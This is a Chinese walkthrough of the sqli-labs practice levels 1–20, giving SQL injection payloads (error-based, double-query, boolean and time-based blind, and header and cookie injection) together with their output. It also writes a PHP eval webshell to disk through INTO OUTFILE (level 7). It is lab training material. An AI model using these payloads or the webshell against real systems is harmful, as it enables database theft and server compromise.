sqli-labs-master 1-20 BASIC-Injection
文章目录
- sqli-labs-master 1-20 BASIC-Injection
- 第一关-报错注入
- 第二关-报错注入
- 第三关-报错注入
- 第四关-报错注入
- 第五关-报错注入-双查询注入
- 第六关-报错注入-双查询注入
- 第七关-outfile写入webshell
- 第八关-布尔盲注
- 第九关-时间盲注
- 第十关-时间盲注
- 第十一关-Post参数报错注入
- 第十二关-Post参数双查询注入
- 第十三关-Post参数双查询注入
- 第十四关-Post参数双查询注入
- 第十五关-Post参数布尔盲注
- 第十六关-Post参数时间盲注
- 第十七关-Post参数update报错注入
- 第十八关-User-agent中insert报错注入
- 第十九关-Referer中insert报错注入
- 第二十关-cookie注入
- 总结
第一关-报错注入
首先先确定注入方式,第一关的方法还是很多的,确认闭合方式后,这里就用报错注入:
?id=1' and updatexml(1,'~',3)--+
使用上述语句进行注入可以得到报错信息XPATH syntax error: ‘~’,故存在报错注入。
?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+
接着使用上述语句获取表名,得到XPATH syntax error: ‘~emails,referers,uagents,users’,接下来对users表的数据进行获取。
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) --+
通过使用上述语句可以获得字段名,得到 XPATH syntax error: ‘~id,username,password’,所以接下来的目的就是获取username和password。
?id=1' and updatexml(1,concat('~',(select group_concat(username,0x3a,password) from users)),3) --+
通过上述语句得到**XPATH syntax error: ‘~Dumb:Dumb,Angelina:I-kill-you,D’**不知道是不是完整的东西,这是因为updatexml的报错信息最多输出32位,所以这里使用substr进行截断处理:
?id=1' and updatexml(1,concat('~',substr((select group_concat(username,0x3a,password) from users),1,100)),3) --+
第二关-报错注入
这一关还是使用报错注入,首先确定闭合方式:
?id=2-1
通过上述语句可以确定这是数字型,接着判断是否可以使用报错注入:
?id=1 and updatexml(1,'~',3)
通过上述语句得到XPATH syntax error: ‘~’,所以可以使用报错注入。
?id=1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)
通过上述语句可以得到表名XPATH syntax error: ‘~emails,referers,uagents,users’,接着我们获取users表中的字段名。
?id=1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)
通过上述语句可以得到users表的字段名,XPATH syntax error: ‘~id,username,password’,所以接下来的目的就是得到username和password。
?id=1 and updatexml(1,concat('~',substr((select group_concat(username,0x3a,password) from users),1,100)),3)
通过上述语句得到,XPATH syntax error: ‘~Dumb:Dumb,Angelina:I-kill-you,D’
第三关-报错注入
这一关还是使用报错注入,但是它的闭合方式不太一样了。
?id=1')--+
通过上述语句可以得到闭合方式是单引号与括号闭合,接下来就获取表名,获取方法还是和上面两道题一样。
?id=1') and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
通过上述语句得到XPATH syntax error: ‘~emails,referers,uagents,users’,接下来获取users表的字段名
?id=1') and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)--+
通过上述语句得到 XPATH syntax error: ‘~id,username,password’ ,最后获取username和password数据。
?id=1') and updatexml(1,concat('~',substr((select group_concat(username,0x3a,password) from users),1,100)),3)--+
通过上述语句得到, XPATH syntax error: ‘~Dumb:Dumb,Angelina:I-kill-you,D’
第四关-报错注入
这一关还是使用报错注入,闭合方式如下:
?id=1")--+
通过上述语句得到闭合方式为双引号加括号,接下来获取表名。
?id=1") and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
通过上述语句得到表名为XPATH syntax error: ‘~emails,referers,uagents,users’,接下来获取users的字段名。
?id=1") and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)--+
通过上述语句得到users的字段名为XPATH syntax error: ‘~id,username,password’,接下来获取username和password的数据。
?id=1") and updatexml(1,concat('~',substr((select group_concat(username,0x3a,password) from users),1,100)),3)--+
通过上述语句得到username和password数据为 XPATH syntax error: ‘~Dumb:Dumb,Angelina:I-kill-you,D’
第五关-报错注入-双查询注入
首先这对于初学来说这个报错注入会比较难理解,我们先判断闭合方式:
?id=1' and '1'='1
?id=1' and '1'='2
通过上述语句可以知道这是单引号闭合,接下来判断注入类型,这里先试一下Union注入:
?id=1' order by 3 --+
?id=1' order by 4 --+
通过上述语句可以得到字段数为3,接下来判断回显位:
?id=1' and '1'='2' union select 1,2,3--+
通过这一段payload,发现并没有回显位,所以Union注入不可行,所以回到报错注入。
?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
通过上述语句得到的结果为 XPATH syntax error: ‘~emails,referers,uagents,users’,之后过程省略。但是这一关的考点为报错注入中的双查询注入,我们假设updatexml()被过滤了,我们要使用双查询注入,关于双查询注入的文章[【Double SQL Injection(双查询注入) | Mochazz’s blog】](https://mochazz.github.io/2017/09/23/Double_ SQL_Injection/)。
?id=1' union select 1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --+
通过上述语句得到Duplicate entry ‘:emails,referers,uagents,users:0’ for key ‘’,接着获取users的字段名
?id=1' union select 1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --+
通过上述语句得到 **Duplicate entry ‘:id,username,password:0’ for key ‘’**接着获取username和password:
?id=1' union select 1,concat(0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,floor(rand()*2)) as a,count(*) from information_schema.columns group by a --+
第六关-报错注入-双查询注入
这一关同样是双查询注入,首先确定闭合方式:
?id=1" and "1"="1
?id=1" and "1"="2
通过上述语句可以得出,这是双引号闭合,接着获取表名:
?id=1" union select 1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand()*2)) as a,count(*) from information_schema.columns group by a --+
通过这一payload得出 Duplicate entry ‘:emails,referers,uagents,users:1’ for key ‘’,接下来获取users的字段名:
?id=1" union select 1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --+
最后获取username和password:
?id=1" union select 1,concat(0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --+
第七关-outfile写入webshell
首先确定闭合方式:
Less-7/?id=1'--+
Less-7/?id=1')--+
Less-7/?id=1'))--+
通过上述可以得到闭合方式为单引号加上两个括号
?id=1')) order by 3 --+
?id=1')) order by 4 --+
?id=1')) union select 1,2,3 --+
通过上述可以得到字段数为3,且没有回显位,
?id=-1' union select 1,2,@@datadir --+
通过上述语句得到MySQL路径为Your Password:C:\phpstudy_pro\Extensions\MySQL5.7.26\data\
?id=1')) and (select count(*) from mysql.user)>0 --+
通过上述语句发现页面正常,得出对该网站的服务器有读写权限,所以我们可以写入一个webshell:
?id=1')) union select 1,"<?php @eval($_POST[cmd]);?>",3 into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test.php" --+
通过蚁剑就可以直接连接了,如果写不进去,可能是权限不够,打开MySQL的my.ini文件,在里面添加secure_file_priv="/"即可。
第八关-布尔盲注
第八关的考点是布尔盲注,首先来判断闭合
?id=1' and '1'='2
接着根据只有显示和不显示的特点,选择布尔盲注,首先获取数据库名长度:
?id=1' and length(database())=8 --+
获得了数据库名后进行爆破了:
?id=1' and substr(database(),1,1)='s' --+
通过上述语句进而得到数据库名为security,接着开始爆破表名
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e' --+
通过上述payload可以进一步得到存在users表,剩下过程略。
第九关-时间盲注
这一关的考点是时间盲注,首先确定闭合方式,发现怎么样也是显示You are in…,所以更加坚定是时间盲注了:
?id=1' and if(length(database())=8,sleep(3),1) --+
通过上述语句可以得出数据库名长度为8,接下来开始爆破库名
?id=1' and if(substr(database(),1,1)='s',sleep(3),1) --+
通过上面的模板可以得出库名为security,接下来开始爆破表名:
?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(3),1) --+
通过上述模板可以得到表名,剩下过程略。
第十关-时间盲注
这一关是时间盲注,首先确定闭合方式,双引号闭合
?id=1" and sleep(1) --+
下面直接获取表名:
?id=1" and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(2),1) --+
下面获取字段名:
?id=1" and if(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='i',sleep(2),1) --+
下面获取username和password数据:
?id=1" and if(substr((select concat(username,0x3a,password) from security.users limit 0,1),1,1)='D',sleep(2),1) --+
第十一关-Post参数报错注入
这一道题是Post型的注入了,第一道Post题比较简单,报
这一道题是Post型的注入了,第一道Post题比较简单,报错注入试一下,首先判断闭合方式:
通过上述得出为单引号闭合,下面直接爆表名:
剩下过程略。
第十二关-Post参数双查询注入
首先确定闭合方式:
通过以上确定这是双引号和括号闭合,接着确定字段数
uname=1") order by 2#&passwd=1&submit=Submit
uname=1") order by 3#&passwd=1&submit=Submit
复习一下双查询注入吧:
uname=1") union select concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a #&passwd=1&Submit=Submit
uname=1") union select concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&passwd=1&Submit=Submit
uname=1") union select concat(0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&passwd=1&Submit=Submit
第十三关-Post参数双查询注入
这一关是双查询注入,直接给出每一步的payload吧
uname=1')#&passwd=1&Submit=Submit
接着判断字段数,使用order by,可知字段数为2
uname=1') order by 2#&passwd=1&Submit=Submit
uname=1') order by 3#&passwd=1&Submit=Submit
接着使用union select结合双查询注入得到表名:
uname=1') union select concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&passwd=1&Submit=Submit
接着获取users表的字段名:
uname=1') union select concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&passwd=1&Submit=Submit
接着获取username和password的数据
uname=1') union select concat(0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&passwd=1&Submit=Submit
第十四关-Post参数双查询注入
这一道题是双查询注入,和第十三关一样,只是闭合方式为双引号而已:
uname=1"#&passwd=1&Submit=Submit
uname=1" order by 2#&passwd=1&Submit=Submit
uname=1" order by 3#&passwd=1&Submit=Submituname=1" union select concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&passwd=1&Submit=SubmitSubmit=Submit&passwd=1&uname=1" union select concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#Submit=Submit&passwd=1&uname=1" union select concat(0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#
第十五关-Post参数布尔盲注
这一关使用的是布尔盲注,通过能否登录成功来判定对错
uname=1' or 1=1 -- #&passwd=1&Submit=Submit
通过上面万能语句可以知道存在布尔盲注,当1=1时候呈现登录成功,当1=2或其他false则呈现登录失败,注意点就是要用or而不是and,因为不知道用户名是什么
uname=1' or length(database())=8 -- #&passwd=1&Submit=Submit
通过上述语句可以知道数据库名长度为8。
uname=1' or substr(database(),1,1)='s' -- #&passwd=1&Submit=Submit
通过上述模板可以得到数据库名为security
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' -- #&passwd=1&Submit=Submit
通过上述模板可以得到表名有users,接着获取字段名。
uname=1' or substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='i' -- #&passwd=1&Submit=Submit
获取数据过程省略
第十六关-Post参数时间盲注
通过万能语句得到闭合方式
uname=1") or 1=1 -- #&passwd=1&Submit=Submit
接着通过下面的模板逐步获取信息
uname=1") or if(length(database())=8,sleep(1),1) -- #&passwd=1&Submit=Submit
uname=1") or if(substr(database(),1,1)='s',sleep(1),1) -- #&passwd=1&Submit=Submituname=1") or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e',sleep(1),1) -- #&passwd=1&Submit=Submituname=1") or if(substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,1)='i',sleep(1),1) -- #&passwd=1&Submit=Submituname=1") or if(substr((select group_concat(username,0x3a,password) from users limit 0,1),1,1)='D',sleep(1),1) -- #&passwd=1&Submit=Submit
第十七关-Post参数update报错注入
在尝试username输入框中构造闭合发现怎么够不行,所以尝试在password中构造闭合
uname=Dhakkan&passwd=1'&Submit=Submit
uname=Dhakkan&passwd=1'-- #&Submit=Submit
通过上述语句可以知道这是单引号闭合,并且有报错信息,所以采取updatexml报错注入
uname=Dhakkan&passwd=1' and updatexml(1,0x7e,3) -- #&Submit=Submit
uname=Dhakkan&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #&Submit=Submit
uname=Dhakkan&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) -- #&Submit=Submit
到最后一步的时候发现存在报错
关于这个报错可以看这篇文章,具体来说,这个报错的原因是,你在UPDATE语句中引用了一个子查询,而这个子查询正好涉及到了要更新的目标表。数据库系统不允许这种情况,因为在执行更新操作时,被更新的表可能会被锁定,而同时又要去访问它来执行子查询,这可能导致冲突。要解决这个问题,一种常见的方法是将子查询的结果先存储到一个临时表中,然后再使用UPDATE语句来更新目标表,这样就不会出现目标表同时被更新和查询的情况了。
uname=Dhakkan&passwd=1' and updatexml(1,concat(0x7e,(select password from (select password from users limit 0,1)test)),3) -- #&Submit=Submit
这个子查询中使用了嵌套的SELECT语句从表"users"中选择密码信息,但在子查询中,表"users"被重命名为"test",这样就避免了直接在UPDATE语句中引用原始表名"users",从而避免了报错。
第十八关-User-agent中insert报错注入
这一道题是在请求头中注入,页面上显示的是我的IP地址,先分析请求头:
POST /sqli-labs-master/Less-18/ HTTP/1.1
Host: 192.168.5.141
Content-Length: 28
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.5.141
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.5.141/sqli-labs-master/Less-18/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: closeuname=&passwd=&submit=Submit
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
X-Forwarded-For:简称XFF头,它代表客户端,用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中。
Cookie,有时也用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。
X-Real-IP一般只记录真实发出请求的客户端IP。
Accept Language请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言。
User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
Accept代表客户端希望接受的数据类型,数据类型中的先后次序表示客户端接受的先后次序。
Referer表示一个来源,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从那个页面链接过来的,服务器借此可以获得一些信息用于处理。Referer用于所有类型的请求。
一开始想的是XFF注入,但是这里却没有XFF的头,当我输入正确的账号密码时候发现了我的User-agent显示出来了,所以我断定这是在User-agent中注入。
先检查代码吧:
uname和passwd都进行了过滤操作,所以不考虑从这两个地方注入
$uname = check_input($_POST['uname']);$passwd = check_input($_POST['passwd']);
代码中有一段insert的sql语句
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
所以我们可以利用user-agent构造payload。
insert中的报错注入原理如下:
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('' and updatexml(1,0x7e,3) and '', '$IP', $uname)
User-Agent: ' and updatexml(1,0x7e,3) and '
User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or '
剩下部分略。
第十九关-Referer中insert报错注入
这一关输入正确的账号密码之后显示出Referer,可以判定这是referer注入。
Referer: ' or sleep(10) or '
通过上述语句可以知道,能够在sleep(10)中构造payload,虽然最终显示的Referer是 ’ or sleep(10) or ',但是sleep()还是被执行了。
Referer: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or '
Referer: ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) or '
Referer: ' or updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users limit 0,1)),3) or '
第二十关-cookie注入
登录进去发现有个删除cookie的按钮,在进行探针测试时候没有任何结果,所以分析了一下源代码,发现根本没有delect的SQL语句,先分析一下过程,首先登录框输入完成账号密码之后提交,流量包里面并没有发现cookie,服务器收到账号密码之后确认无误就会给你setcookie()所以你又发送了一个带有cookie的流量包,服务器源代码检测到cookie之后就会执行如下代码,这里省略一些没用的:
if (!isset($_POST['submit'])) {$cookee = $_COOKIE['uname'];$format = 'D d M Y - H:i:s';$timestamp = time() + 3600;echo "YOUR USER AGENT IS : " . $_SERVER['HTTP_USER_AGENT'];echo "YOUR IP ADDRESS IS : " . $_SERVER['REMOTE_ADDR'];echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);$sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";$result = mysql_query($sql);if (!$result) {die('Issue with your mysql: ' . mysql_error());}$row = mysql_fetch_array($result);if ($row) {echo 'Your Login name:' . $row['username'];echo '<font color= "grey" font size="5">';echo 'Your Password:' . $row['password'];echo 'Your ID:' . $row['id'];} else {echo '<img src="../images/slap1.jpg" />';//echo '<img src="../images/Less-20.jpg" />';}echo '<form action="" method="post">';echo '<input type="submit" name="submit" value="Delete Your Cookie!" />';echo '</form>';}
注入点就在**$sql = “SELECT * FROM users WHERE username=‘$cookee’ LIMIT 0,1”;**,不解释了,直接看payload:
Cookie: uname=dhakkan' or updatexml(1,0x7e,3) or '
剩下过程就省略了,这里对cookie没有任何过滤操作。
总结
- 双查询注入中关键为:floor(rand(14)*2)、count(*)、group by
- Post登录框中利用盲注,前后变化为登录成功和失败并且要使用万能头
- update insert 等能用or就用or
- 注意update语句中引用子查询,可能要使用嵌套select